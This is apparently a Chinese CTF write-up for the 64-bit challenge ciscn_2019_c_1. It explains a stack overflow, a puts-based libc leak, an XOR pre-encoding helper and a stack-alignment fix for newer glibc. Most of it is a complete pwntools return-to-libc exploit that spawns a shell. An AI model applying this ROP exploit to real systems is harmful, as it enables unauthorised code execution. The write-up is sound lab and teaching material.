题目信息 64位elf,开了NX
分析 大概就是这样一个加解密程序,读取输入选择功能,encrypt读取用户输入,decrypt不可用
可以看出encrypt读取输入明显的溢出:
题目没有system和sh所以需要构造ROP。并且没有给出libc文件,但存在puts函数,可以用于leak。
所以就是leak出函数地址,确定libc,之后构造ROP
exploit encrypt 64位,puts函数一个参数,需要rdi寄存器的gadget,并且需要返回到开始位置:
另外因为输入会经过encrypt,异或处理,所以二次异或会还原,即输入的payload要先经过一次处理:
1 2 3 4 5 6 7 8 9 10 11 12 def dd (enc) : res = '' for i in range(len(enc)): if ord(enc[i]) <= 96 or ord(enc[i]) > 122 : if ord(enc[i]) <= 64 or ord(enc[i]) > 90 : if ord(enc[i]) > 47 or ord(enc[i]) <= 57 : res += chr(ord(enc[i]) ^ 0xf ) else : res += chr(ord(enc[i]) ^ 0xe ) else : res += chr(ord(enc[i]) ^ 0xd ) return res
然后gdb对pattern处理可以算出偏移为88:
不过实际打的时候不需要处理
几个坑 exp很简单的,但有几个坑
leak那里用puts不用gets,原因是gets匹配出的结果太多了
然后,现在线上环境是18版本,直接拿网上流传的那些打的话会失败,因为那些是针对16版本的
如果gdb attach跟一下的话,会发现是正常走到了system步骤,但之后会报这样一个错误:
直接根据报错信息,能够搜到这篇文章:
在一些64位的glibc的payload调用system函数失败问题 – Ex个人博客http://blog.eonew.cn/archives/958
自己跟进去的话,能够看到确实是栈没对齐,那很简单,多加个ret对齐,再找个ret的gadget就可以:
exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *from LibcSearcher import *sh = process('./ciscn_2019_c_1' ) elf = ELF('./ciscn_2019_c_1' ) start = elf.sym['main' ] rdi_addr = 0x0000000000400c83 puts_plt = elf.plt['puts' ] gets_got = elf.got['gets' ] puts_got = elf.got['puts' ] log.success('puts_plt => {}' .format(hex(puts_plt))) log.success('gets_got => {}' .format(hex(gets_got))) log.success('puts_got => {}' .format(hex(puts_got))) sh.sendlineafter('choice!\n' , '1' ) payload1 = 'a' * 88 payload1 += p64(rdi_addr) + p64(puts_got) + p64(puts_plt) payload1 += p64(start) sh.sendline(payload1) gdb.attach(sh) sh.recvuntil('@' ) sh.recvline() puts_leak = u64(sh.recvline()[:-1 ].ljust(8 , '\0' )) log.success('puts_leak_addr => {}' .format(hex(puts_leak))) libc = LibcSearcher('puts' , puts_leak) libc_base = puts_leak - libc.dump('puts' ) sys_addr = libc_base + libc.dump('system' ) bin_sh_addr = libc_base + libc.dump('str_bin_sh' ) log.success('libc_base_addr => {}' .format(hex(libc_base))) log.success('system_addr => {}' .format(hex(sys_addr))) log.success('bin_sh_addr => {}' .format(hex(bin_sh_addr))) sh.sendlineafter('choice!\n' , '1' ) payload2 = 'a' * 88 payload2 += p64(0x4006b9 ) payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr) sh.sendline(payload2) sh.interactive()
最終更新:2019-11-26 16:52:02
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会